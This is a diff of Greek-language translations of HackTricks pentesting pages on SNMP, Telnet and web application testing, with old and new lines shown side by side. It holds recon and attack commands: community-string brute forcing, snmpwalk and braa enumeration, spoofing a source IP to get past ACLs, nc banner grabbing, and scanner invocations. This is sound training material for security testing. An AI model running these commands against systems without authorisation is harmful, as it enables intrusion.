- **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή αυθεντικοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μπορεί να εκτελεστεί **επίθεση λεξικού**, αλλά θα ήταν πολύ πιο δύσκολο να βρείτε τα σωστά διαπιστευτήρια από ότι στο SNMPv1 και v2). - **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή αυθεντικοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μπορεί να εκτελεστεί **επίθεση λεξικού**, αλλά θα ήταν πολύ πιο δύσκολο να βρείτε τα σωστά διαπιστευτήρια από ότι στο SNMPv1 και v2).
### Community Strings ### Συμβολοσειρές Κοινότητας
Όπως αναφέρθηκε προηγουμένως, **για να αποκτήσετε πρόσβαση στις πληροφορίες που αποθηκεύονται στη MIB πρέπει να γνωρίζετε τη community string στις εκδόσεις 1 και 2/2c και τα διαπιστευτήρια στην έκδοση 3.**\ Όπως αναφέρθηκε προηγουμένως, **για να αποκτήσετε πρόσβαση στις πληροφορίες που αποθηκεύονται στη MIB πρέπει να γνωρίζετε τη συμβολοσειρά κοινότητας στις εκδόσεις 1 και 2/2c και τα διαπιστευτήρια στην έκδοση 3.**\
Υπάρχουν **2 τύποι community strings**: Υπάρχουν **2 τύποι συμβολοσειρών κοινότητας**:
- **`public`** κυρίως **λειτουργίες μόνο για ανάγνωση** - **`public`** κυρίως **λειτουργίες μόνο για ανάγνωση**
- **`private`** **Ανάγνωση/Εγγραφή** γενικά - **`private`** **Ανάγνωση/Εγγραφή** γενικά
Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη χρησιμοποιούμενη community string**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\ Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη συμβολοσειρά κοινότητας που χρησιμοποιείται**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\
Αν προσπαθήσετε να **γράψετε** ένα αντικείμενο, θα λάβετε ένα σφάλμα **`noSuchName` ή `readOnly`**.\*\*.\*\* Αν προσπαθήσετε να **γράψετε** ένα αντικείμενο, θα λάβετε ένα σφάλμα **`noSuchName` ή `readOnly`**.\*\*.\*\*
Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** community string, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη community string**. Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** συμβολοσειρά κοινότητας, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη συμβολοσειρά κοινότητας**.
## Ports ## Θύρες
[Από τη Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): [Από τη Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
@ -94,9 +94,9 @@ PORT STATE SERVICE REASON VERSION
## Brute-Force Community String (v1 και v2c) ## Brute-Force Community String (v1 και v2c)
Για να **μαντέψετε τη community string** μπορείτε να εκτελέσετε μια επίθεση λεξικού. Δείτε [εδώ διάφορους τρόπους για να εκτελέσετε μια επίθεση brute-force κατά του SNMP](../../generic-hacking/brute-force.md#snmp). Μια συχνά χρησιμοποιούμενη community string είναι το `public`. Για να **μαντέψετε τη συμβολοσειρά κοινότητας** μπορείτε να εκτελέσετε μια επίθεση λεξικού. Δείτε [εδώ διάφορους τρόπους για να εκτελέσετε μια επίθεση brute-force κατά του SNMP](../../generic-hacking/brute-force.md#snmp). Μια συχνά χρησιμοποιούμενη συμβολοσειρά κοινότητας είναι το `public`.
## Enumerating SNMP ## Απαρίθμηση SNMP
Συνιστάται να εγκαταστήσετε τα παρακάτω για να δείτε τι σημαίνει **κάθε OID που συλλέγεται** από τη συσκευή: Συνιστάται να εγκαταστήσετε τα παρακάτω για να δείτε τι σημαίνει **κάθε OID που συλλέγεται** από τη συσκευή:
```bash ```bash
@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
``` ```
Χάρη στις εκτενείς ερωτήσεις (download-mibs), είναι δυνατή η καταμέτρηση ακόμη περισσότερων πληροφοριών σχετικά με το σύστημα με την ακόλουθη εντολή: Χάρη στις εκτενείς ερωτήσεις (download-mibs), είναι δυνατόν να καταγράψετε ακόμη περισσότερα σχετικά με το σύστημα με την ακόλουθη εντολή :
```bash ```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
``` ```
@ -135,9 +135,9 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### Ρυθμίσεις Πρόσβασης ### Ρυθμίσεις Πρόσβασης
Δύο κύριες ρυθμίσεις επιτρέπουν την πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι ένα κρίσιμο συστατικό στη διαχείριση δικτύου: Δύο κύριες ρυθμίσεις επιτρέπουν την πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι ένα κρίσιμο στοιχείο στη διαχείριση δικτύου:
1. **`rwuser noauth`** έχει ρυθμιστεί για να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη αυθεντικοποίησης. Αυτή η ρύθμιση είναι απλή και επιτρέπει απεριόριστη πρόσβαση. 1. **`rwuser noauth`** είναι ρυθμισμένο ώστε να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη αυθεντικοποίησης. Αυτή η ρύθμιση είναι απλή και επιτρέπει απεριόριστη πρόσβαση.
2. Για πιο συγκεκριμένο έλεγχο, η πρόσβαση μπορεί να παραχωρηθεί χρησιμοποιώντας: 2. Για πιο συγκεκριμένο έλεγχο, η πρόσβαση μπορεί να παραχωρηθεί χρησιμοποιώντας:
- **`rwcommunity`** για διευθύνσεις **IPv4**, και - **`rwcommunity`** για διευθύνσεις **IPv4**, και
- **`rwcommunity6`** για διευθύνσεις **IPv6**. - **`rwcommunity6`** για διευθύνσεις **IPv6**.
@ -148,13 +148,13 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP: Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP:
- **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών μέσα στο σύστημα. - **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών εντός του συστήματος.
- **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή. - **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή.
- **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`. - **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
- **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από `1.3.6.1.2.1.25.2.3.1.4`. - **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`.
- **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`. - **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`.
- **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών. - **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών.
- **TCP Τοπικές Θύρες**: Τέλος, η `1.3.6.1.2.1.6.13.1.3` έχει οριστεί για την παρακολούθηση των τοπικών θυρών TCP, παρέχοντας πληροφορίες σχετικά με τις ενεργές συνδέσεις δικτύου. - **TCP Τοπικές Θύρες**: Τέλος, το `1.3.6.1.2.1.6.13.1.3` έχει οριστεί για την παρακολούθηση των τοπικών θυρών TCP, παρέχοντας πληροφορίες σχετικά με τις ενεργές συνδέσεις δικτύου.
### Cisco ### Cisco
@ -174,11 +174,11 @@ snmp-rce.md
## **Μαζικό SNMP** ## **Μαζικό SNMP**
[Braa ](https://github.com/mteg/braa) είναι ένας μαζικός σαρωτής SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η εκτέλεση ερωτημάτων SNMP αλλά σε αντίθεση με το snmpwalk από το net-snmp, είναι ικανό να ερωτά δεκάδες ή εκατοντάδες υπολογιστές ταυτόχρονα, και σε μία μόνο διαδικασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και εκτελεί τη σάρωση ΠΟΛΥ γρήγορα. [Braa ](https://github.com/mteg/braa)είναι ένας μαζικός σαρωτής SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η εκτέλεση ερωτημάτων SNMP αλλά σε αντίθεση με το snmpwalk από το net-snmp, είναι ικανό να ερωτά δεκάδες ή εκατοντάδες υπολογιστές ταυτόχρονα, και σε μία μόνο διαδικασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και εκτελεί τη σάρωση ΠΟΛΥ γρήγορα.
Το Braa υλοποιεί τη ΔΙΚΗ του στοίβα SNMP, επομένως δεν χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp. Το Braa υλοποιεί τη ΔΙΚΗ του στοίβα snmp, οπότε ΔΕΝ χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp.
**Σύνταξη:** braa \[Community-string]@\[IP of SNMP server]:\[iso id] **Σύνταξη:** braa \[Community-string]@\[IP του διακομιστή SNMP]:\[iso id]
```bash ```bash
braa ignite123@192.168.1.125:.1.3.6.* braa ignite123@192.168.1.125:.1.3.6.*
``` ```
@ -194,7 +194,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
``` ```
### **Εντοπισμός Ιδιωτικής Συμβολοσειράς** ### **Εντοπισμός Ιδιωτικής Συμβολοσειράς**
Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιούν οι οργανισμοί, ιδιαίτερα στους δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**: Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιείται από οργανισμούς, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**:
```bash ```bash
grep -i "trap" *.snmp grep -i "trap" *.snmp
``` ```
@ -218,12 +218,13 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
Εάν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να ψεύσετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση. Εάν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να ψεύσετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση.
## Εξέταση αρχείων διαμόρφωσης SNMP ## Εξέταση αρχείων ρυθμίσεων SNMP
- snmp.conf - snmp.conf
- snmpd.conf - snmpd.conf
- snmp-config.xml - snmp-config.xml
## HackTricks Αυτόματες Εντολές ## HackTricks Αυτόματες Εντολές
``` ```
Protocol_Name: SNMP #Protocol Abbreviation if there is one. Protocol_Name: SNMP #Protocol Abbreviation if there is one.
@ -236,7 +237,7 @@ Description: Notes for SNMP
Note: | Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2: Entry_2:
Name: SNMP Check Name: SNMP Check

View File

@ -5,19 +5,19 @@
## **Βασικές Πληροφορίες** ## **Βασικές Πληροφορίες**
Το Telnet είναι ένα πρωτόκολλο δικτύου που δίνει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου. Το Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου.
**Προεπιλεγμένη θύρα:** 23 **Προεπιλεγμένη θύρα:** 23
``` ```
23/tcp open telnet 23/tcp open telnet
``` ```
## **Καταμέτρηση** ## **Αναγνώριση**
### **Λήψη Μπανερ** ### **Λήψη Μπανερ**
```bash ```bash
nc -vn <IP> 23 nc -vn <IP> 23
``` ```
Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με το **nmap**: Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με **nmap**:
```bash ```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP> nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
``` ```
@ -25,7 +25,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ. Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ.
**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.** **Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημερώστε με αν ξέρετε πώς.**
### [Brute force](../generic-hacking/brute-force.md#telnet) ### [Brute force](../generic-hacking/brute-force.md#telnet)
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -30,7 +30,7 @@ web-api-pentesting.md
- [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία. - [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας; - [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
- [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; - [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan); - [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan);
- [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες. - [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS). - [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**. - [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
@ -99,18 +99,18 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\ _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!). Εάν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
### Source Code Review ### Source Code Review
Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: Εάν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web; - Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς); - Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
- Είναι οι **κωδικοί** σε **plain text**, **encrypted** ή ποιο **hashing algorithm** χρησιμοποιείται; - Είναι οι **κωδικοί** σε **plain text**, **encrypted** ή ποιο **hashing algorithm** χρησιμοποιείται;
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιο **algorithm** χρησιμοποιείται; - Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποιο **algorithm** χρησιμοποιείται;
- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια; - Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια;
- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ; - Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ;
{{#ref}} {{#ref}}
code-review-tools.md code-review-tools.md
@ -118,7 +118,7 @@ code-review-tools.md
### Automatic scanners ### Automatic scanners
#### Γενικής χρήσης αυτόματοι σαρωτές #### General purpose automatic scanners
```bash ```bash
nikto -h <URL> nikto -h <URL>
whatweb -a 4 <URL> whatweb -a 4 <URL>
@ -169,7 +169,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.κ.λπ.) - Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.κ.λπ.)
- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα - **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL** - Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL**
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE - Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λανθασμένα όπως FAKE
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)** #### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
@ -178,12 +178,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- **Brute Force** διαπιστευτήρια - **Brute Force** διαπιστευτήρια
- **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους. - **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
### **Ευπάθειες SSL/TLS** ### **SSL/TLS ευπάθειες**
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM** - Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
- Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια. - Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες: Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτού του είδους οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also
@ -216,14 +216,14 @@ sslyze --regular <ip:port>
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
- [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS. - [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
